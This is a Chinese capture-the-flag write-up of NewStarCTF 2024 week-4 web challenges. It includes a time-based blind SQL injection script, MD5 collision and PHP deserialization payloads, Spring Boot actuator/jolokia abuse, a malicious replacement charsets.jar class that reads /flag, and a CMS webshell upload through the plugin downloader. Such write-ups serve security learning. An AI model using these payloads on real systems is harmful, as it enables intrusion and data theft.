NewStarCTF2024-Week4-Web-WP
目录
1、blindsql2
2、chocolate
3、隐藏的密码
4、ezcmsss
题目对勇师傅来说已经是开始上难度了所以这周没有AK
分享下自己做出来的题的解题思路
1、blindsql2
原本是在继续构造新的 payload,也测到了延时

打算去改上周的脚本,结果去跑的时候忘了将上次的最后 payload 注释,直接就上周的脚本就跑出来 flag 了,week3 应该是打算考布尔盲注,week4 是时间盲注,所以直接就都打通了。

exp:
# @author:Myon
# @time:20241015
import requests
import string
import time
url = 'http://eci-2ze6n37avcrdqdbhno0a.cloudeci1.ichunqiu.com/'
dic = string.ascii_lowercase + string.digits + '{}-_'
out = ''
for j in range(1, 100):a = 1 #设置一个标志位,用来判断是否已经猜到了最后一位for k in dic:# payload = f"student_name=0'or%09if(database()%09like%09%27{out+k}%25%27,sleep(1),0)and%271" # 猜数据库名# print(payload)# payload = f"student_name=0'or%09||if((select%09table_name%09from%09information_schema.tables%09where%09table_schema%09like%09'flag'limit%092,1)like'{out+k}%25',sleep(1),0)and%271"# payload = f"student_name=Alice%27||if((select%09column_name%09from%09information_schema.columns%09where%09table_schema%09like%09'ctf'and%09table_name%09like'secrets'limit%091,1)like'{out+k}%25',sleep(1),0)and%271"payload = f"student_name=Alice%27||if((select%09secret_value%09from%09ctf.secrets%09limit%092,1)like%09'{out+k}%25',sleep(1),0)and%271"re = requests.get(url, params=payload)# print(re.status_code)t = re.elapsed.total_seconds()# print(f"{j}:{time}")if t > 1.5:print(k)a = 0 #如果找到字符,则将标志位置0out += kprint(out)time.sleep(1)break #跳出内层的for循环,继续遍历下一位# if a == 1: #在进行下一次循环前,先判断当前字符是否找到# break #若没有找到,则跳出外层循环,表示我们已经到了最后一个字符
print(out)
2、chocolate
目录扫描扫到了个 source.php,访问看不到内容
随便输一些东西测到了一个提示:


访问,然后绕过一下:
0ldStar.php?num=+02471

拿到:
可可液块 (g): 1337033 // gur arkg yriry vf : pbpbnOhggre_fgne.cuc, try to decode this 牢师傅如此说到
让我们解密这个,扔到随波逐流发现是个文件名

继续访问 cocoaButter_star.php
第一个是 md5 强碰撞:
cocoaButter_star.php?cat=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&dog=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

第二个传一个 0e 开头的 md5 加密后也是 0e 开头的即可实现相等,科学计数法都是 0
Payload:
moew=0e215962017

拿到:of course you konw// 可可脂 (g): 202409
最后一个是要求 md5 加密后前五位符合要求,一开始想到的是 md5 长度拓展攻击,发现不是,写个脚本爆破符合要求的字符即可:
import hashlibknowMd5 = '8031b' # 已知的md5前缀
dict = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ' # 字符字典def md5(text):return hashlib.md5(str(text).encode('utf-8')).hexdigest() # 计算md5哈希值# 爆破过程
for i in dict:for j in dict:for k in dict:for l in dict:# 生成四个字符组合x = i + j + k + l# 计算md5codeMd5 = md5(x)# 如果md5前五个字符等于已知的8031bif codeMd5[:5] == knowMd5:print(f"符合要求的next_level值:{x}")break # 找到符合的组合后退出循环

比如我们传入 aNQa

拿到 of course you konw// 可可脂 (g): 202409// final.php
最后 final.php 是一个反序列化的利用,一开始还想绕过过滤的 chocolate,后面发现不需要绕过,并且 url 编码后传入不行,直接传序列化后的内容。
exp:
<?php
class chocolate{public $cat='???';public $kitty='???';public function __construct($u,$p){$this->cat=$u;$this->kitty=$p;}public function eatit(){return $this->cat===$this->kitty;}public function __toString(){return $this->cat;}public function __destruct(){global $darkCocoaPowder;echo $darkCocoaPowder;}
}$u = '111';
$p = '111';
$c = new chocolate($u,$p);
echo serialize($c);?>
让 $cat===$kitty 即可
Post传入:
O:9:"chocolate":2:{s:3:"cat";s:3:"111";s:5:"kitty";s:3:"111";}

拿到:黑可可粉 (g): 51540
最后还剩一个糖分,经过测试发现页面会有不同回显


确定范围是在 2000-2050 之间
Burpsuite 爆破一下:

拿到 flag:flag{d20ea743-bbae-4b75-a8e4-098c4ddecd5f}
3、隐藏的密码
目录扫描

/back.html

但是文件上传后访问不到,命令执行的是 ls
/actuator/env 接口下发现密码被******代替了

尝试获取星号的内容
Post:/actuator/jolokia
{"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty","type": "EXEC","arguments": ["caef11.passwd"]}

拿到密码:123456qWertAsdFgZxCvB!@#
登录,发现界面内容和前面目录扫描出来的 back.html 是一样的…

命令执行模块 fuzz 测试一下,存在一些字符的过滤,过滤字符如下:
!$&();<>[\]`{|}

可以看到异或和取反都是可以使用的

尝试命令执行,发现不行
文件能传上去但是访问不到

找到了JDK HOME 目录:
/usr/local/openjdk-8/jre/lib

确认一下,确实可以成功上传文件到这个位置:
../../usr/local/openjdk-8/jre/lib/charsets.jar


那么我们直接覆盖 charsets.jar

触发:
Accept: text/html;charset=GBK

确实可以利用

重新构造一个 jar 包,通过将 class 文件反编译拿到了 java 源码,这里主要是替换 IBM33722.class

修改后的源码如下:
package sun.nio.cs.ext;import java.io.BufferedReader;
import java.io.File;
import java.io.FileReader;
import java.io.FileWriter;
import java.io.IOException;
import java.util.UUID;public class IBM33722 {static {fun();}public IBM33722(){fun();}private static java.util.HashMap<String, String> fun(){String flagFilePath = "/flag";String fileName = readFlag(flagFilePath);if (fileName == null) {fileName = "failed";}String random = UUID.randomUUID().toString().replace("-", "").substring(1, 9);String tempFilePath = "/tmp/" + fileName + "_" + random + ".log";createTempFile(tempFilePath);return null;}private static String readFlag(String path) {StringBuilder content = new StringBuilder();try (BufferedReader reader = new BufferedReader(new FileReader(new File(path)))) {String line;while ((line = reader.readLine()) != null) {content.append(line);}} catch (IOException e) {return null;}return content.toString();}private static void createTempFile(String path) {try (FileWriter writer = new FileWriter(new File(path))) {writer.write(path);} catch (IOException e) {e.printStackTrace();}}
}
读取根目录下的 flag,将内容写到 /tmp 目录下的文件名(因为我们只能执行ls命令)
编译成 class 文件,整体打包成 jar 包,上传覆盖 charsets.jar


重启环境,上传新的 charsets.jar
覆盖掉后触发方式同上

查看 /tmp 目录

拿到 flag:flag{d3350ef4-3b91-40e6-9d6a-2f0c8d33193e}
4、ezcmsss

Start.sh里拿到账户密码:
admin_name=jizhicms1498&admin_pass=4oP4fB51r5
登录后台:admin.php


允许上传 php 文件


后端还做了检测

在前端随便注册一个账号

尝试上传但是没有分栏可选

在后台添加一下


还是不行,配置文件也传不了,估计这个漏洞已经修了
又看到另一个下载插件路径可控的,但是插件管理里面并没有看到可以下载插件的地方, 手动构造一下,但是似乎出不了网...

那就手动传一个一句话木马的 zip 到它的本地

从本地下载插件:
action=start-download&filepath=dbrestore&download_url=http://127.0.0.1/static/upload/2024/10/26/202410262358.zip

解压:
action=file-upzip&filepath=dbrestore&download_url=http://127.0.0.1/static/upload/2024/10/26/202410262358.zip&filesize=0

访问 /A/exts,看到我们传的压缩包被解压了,得到一句话木马

调用木马:

读取 flag

拿到 flag:flag{9bb4ad6c-68e7-44ed-badd-4614a81f7df7}
相关文章:
NewStarCTF2024-Week4-Web-WP
目录 1、blindsql2 2、chocolate 3、隐藏的密码 4、ezcmsss 题目对勇师傅来说已经是开始上难度了所以这周没有AK 分享下自己做出来的题的解题思路 1、blindsql2 原本是在继续构造新的 payload,也测到了延时 打算去改上周的脚本,结果去跑的时候忘了将…...
Java学习Day56:暴打舔狗!(SpringBoot)
1.springboot简介 核心能力:Spring容器、日志、自动配置AutoCongfiguration、Starters web应用的能力:MVC、嵌入式Web服务器 数据访问(持久化):关系型数据库、非关系型数据库 强大的整合其他技术的能力 只要是Java中牛逼的技术,…...
RSA加密算法实现
Java实现RSA加密算法示例,包括密钥对的生成、加密和解密过程。首先需要导入Java的加密库,这些功能主要通过java.security和javax.crypto包提供。先生成了一个RSA密钥对,包括一个公钥和一个私钥。然后使用公钥加密了一个字符串,并使用私钥解密了加密后的字符串。加密和解密的…...
大数据新视界 -- 大数据大厂之优化大数据计算框架 Tez 的实践指南
💖💖💖亲爱的朋友们,热烈欢迎你们来到 青云交的博客!能与你们在此邂逅,我满心欢喜,深感无比荣幸。在这个瞬息万变的时代,我们每个人都在苦苦追寻一处能让心灵安然栖息的港湾。而 我的…...
java 中 List<T> 类型数据在 postgreSql 数据库中存储
一 属性添加注解 在类上面添加注解: TableName(autoResultMap true) 在字段上面添加注解: TableField(value "list", typeHandler UserHandler.class) private List<User> list new ArrayList<>(); 二 创建 UserHandler 类…...
公共命名空间,2024年10月的笔记
首先,我国选择C做为竞赛语言,许多人学C,学习的结果是:看到“公共命名空间”,就幻想出一个私有命名空间,其实,公共命名空间和C的命名空间无关! 超简源代码 已知序列v{1,2,3,4,5}&…...
frida脚本,自动化寻址JNI方法
版权归作者所有,如有转发,请注明文章出处:https://cyrus-studio.github.io/blog/ 1. 通过 ArtMethod 结构体找到 jni 方法在内存中的地址,并把寻址方法通过 rpc.exports 暴露给 Python 脚本调用 jni_addr.js let entry_point_fr…...
MySQL中between and的基本用法
文章目录 一、between and语法二、使用示例2.1、between and数值查询2.2、between and时间范围查询2.3、not between and示例 BETWEEN AND操作符可以用于数值、日期等类型的字段,包括边界值。 一、between and语法 MySQL中的BETWEEN AND操作符用于在两个值之间选择…...
Ceph 存储系统全解
1. 引言 什么是 Ceph? Ceph 是一个开源的分布式存储系统,旨在提供高性能、可扩展、无单点故障的统一存储平台。它可以同时支持对象存储、块存储和文件系统存储,能够满足不同存储需求的多种应用场景。Ceph 通过其强大的 RADOS(可…...
C# ftp帮助类 项目实战优化版
上位机开发中有时要与客户的文件服务器进行数据交互。如Mapping文件下载。结果文件上传等。我在项目中就常用到。现在把项目实战代码进行分享一下。 功能列表:连接服务器,下载文件,上传文件,删除服务器文件,获取当前目…...
栈和队列相关|有效的括号|用队列实现栈|用栈实现队列|设计循环队列(C)
20. 有效的括号 判断左右括号是否匹配,匹配返回true,不匹配返回false 通过栈来实现,类型和顺序,数量都要匹配 控制数量通过size 每个右括号都要找最近的左括号去判断类型匹配不匹配,顺序匹配不匹配 最后来判断数量匹配…...
云原生后端开发教程
云原生后端开发教程 引言 随着云计算的普及,云原生架构逐渐成为现代软件开发的主流。云原生不仅仅是将应用部署到云上,而是一种构建和运行应用的方式,充分利用云计算的弹性和灵活性。本文将深入探讨云原生后端开发的核心概念、工具和实践&a…...
TortoiseSVN小乌龟下载安装(Windows11)
目录 TortoiseSVN 1.14.7工具下载安装 TortoiseSVN 1.14.7 工具 系统:Windows 11 下载 官网:https://tortoisesvn.subversion.org.cn/downloads.html如图选 TortoiseSVN 1.14.7 - 64 位 下载完成 安装 打开 next,next Browse…...
Android adb命令获取设备id
Android adb命令获取设备id 方式很多,以下均可获得Android device id: adb shell settings get secure android_id adb shell settings get secure android_id adb devices -l adb shell content query --uri content://settings/secure --where "…...
Skywalking教程一
Skywalking教程一 概述Skywalking功能特点: 概述 一个大型分布式系统架构,监控平台是必不可少的,常用的分布式系统监控平台有:SkyWalking和Prometheus。Skywalking是一款比较优秀的分布式系统监控平台,一款分布式系统…...
React中管理state的方式
使用useState 使用useReducer 既然已经有了useState,为什么还需要useReducer呢? 那么useReducer是如何将解决这些问题的呢? reducer是如何更新state的呢? reducer的工作方式非常类似JavaScript中的reduce方法,随着时…...
服务器数据恢复—RAID5阵列中部分成员盘重组RAID5阵列后如何恢复原raid5阵列数据?
服务器数据恢复环境: 一台服务器挂接一台存储,该存储中有一组由5块硬盘组建的RAID5阵列。 服务器故障: 存储raid5阵列中有一块硬盘掉线。由于RAID5的特性,阵列并没有出现问题。工作一段时间后,服务器出现故障ÿ…...
【Linux】文件切割排序 cut sort
文章目录 Linux文件切割命令:cut1. cut命令的基本用法2. cut命令的选项和参数3. cut命令的实际应用案例 Linux文件排序命令:sort1. sort命令的基本用法2. sort命令的选项和参数3. sort命令的实际应用案例 常见问题和解决方案1. cut和sort命令的联合使用2…...
零售EDI:HornBach EDI 项目案例
HornBach 是一家总部位于德国的家居和建筑材料零售商,成立于1968年。它以大型仓储式商店而闻名,提供广泛的产品,包括建筑材料、园艺、家居装饰和工具等。 近期我们帮助HornBach的供应商W公司成功实现了与HornBach的EDI直连,除了满…...
SpringBoot 集成RabbitMQ 实现钉钉日报定时发送功能
文章目录 一、RabbitMq 下载安装二、开发步骤:1.MAVEN 配置2. RabbitMqConfig 配置3. RabbitMqUtil 工具类4. DailyDelaySendConsumer 消费者监听5. 测试延迟发送 一、RabbitMq 下载安装 官网:https://www.rabbitmq.com/docs 二、开发步骤:…...
MPNet:旋转机械轻量化故障诊断模型详解python代码复现
目录 一、问题背景与挑战 二、MPNet核心架构 2.1 多分支特征融合模块(MBFM) 2.2 残差注意力金字塔模块(RAPM) 2.2.1 空间金字塔注意力(SPA) 2.2.2 金字塔残差块(PRBlock) 2.3 分类器设计 三、关键技术突破 3.1 多尺度特征融合 3.2 轻量化设计策略 3.3 抗噪声…...
深入理解JavaScript设计模式之单例模式
目录 什么是单例模式为什么需要单例模式常见应用场景包括 单例模式实现透明单例模式实现不透明单例模式用代理实现单例模式javaScript中的单例模式使用命名空间使用闭包封装私有变量 惰性单例通用的惰性单例 结语 什么是单例模式 单例模式(Singleton Pattern&#…...
在 Nginx Stream 层“改写”MQTT ngx_stream_mqtt_filter_module
1、为什么要修改 CONNECT 报文? 多租户隔离:自动为接入设备追加租户前缀,后端按 ClientID 拆分队列。零代码鉴权:将入站用户名替换为 OAuth Access-Token,后端 Broker 统一校验。灰度发布:根据 IP/地理位写…...
Map相关知识
数据结构 二叉树 二叉树,顾名思义,每个节点最多有两个“叉”,也就是两个子节点,分别是左子 节点和右子节点。不过,二叉树并不要求每个节点都有两个子节点,有的节点只 有左子节点,有的节点只有…...
【JVM面试篇】高频八股汇总——类加载和类加载器
目录 1. 讲一下类加载过程? 2. Java创建对象的过程? 3. 对象的生命周期? 4. 类加载器有哪些? 5. 双亲委派模型的作用(好处)? 6. 讲一下类的加载和双亲委派原则? 7. 双亲委派模…...
BLEU评分:机器翻译质量评估的黄金标准
BLEU评分:机器翻译质量评估的黄金标准 1. 引言 在自然语言处理(NLP)领域,衡量一个机器翻译模型的性能至关重要。BLEU (Bilingual Evaluation Understudy) 作为一种自动化评估指标,自2002年由IBM的Kishore Papineni等人提出以来,…...
从“安全密码”到测试体系:Gitee Test 赋能关键领域软件质量保障
关键领域软件测试的"安全密码":Gitee Test如何破解行业痛点 在数字化浪潮席卷全球的今天,软件系统已成为国家关键领域的"神经中枢"。从国防军工到能源电力,从金融交易到交通管控,这些关乎国计民生的关键领域…...
ubuntu22.04有线网络无法连接,图标也没了
今天突然无法有线网络无法连接任何设备,并且图标都没了 错误案例 往上一顿搜索,试了很多博客都不行,比如 Ubuntu22.04右上角网络图标消失 最后解决的办法 下载网卡驱动,重新安装 操作步骤 查看自己网卡的型号 lspci | gre…...
【PX4飞控】mavros gps相关话题分析,经纬度海拔获取方法,卫星数锁定状态获取方法
使用 ROS1-Noetic 和 mavros v1.20.1, 携带经纬度海拔的话题主要有三个: /mavros/global_position/raw/fix/mavros/gpsstatus/gps1/raw/mavros/global_position/global 查看 mavros 源码,来分析他们的发布过程。发现前两个话题都对应了同一…...
软件工程教学评价
王海林老师您好。 您的《软件工程》课程成功地将宏观的理论与具体的实践相结合。上半学期的理论教学中,您通过丰富的实例,将“高内聚低耦合”、SOLID原则等抽象概念解释得十分透彻,让这些理论不再是停留在纸面的名词,而是可以指导…...
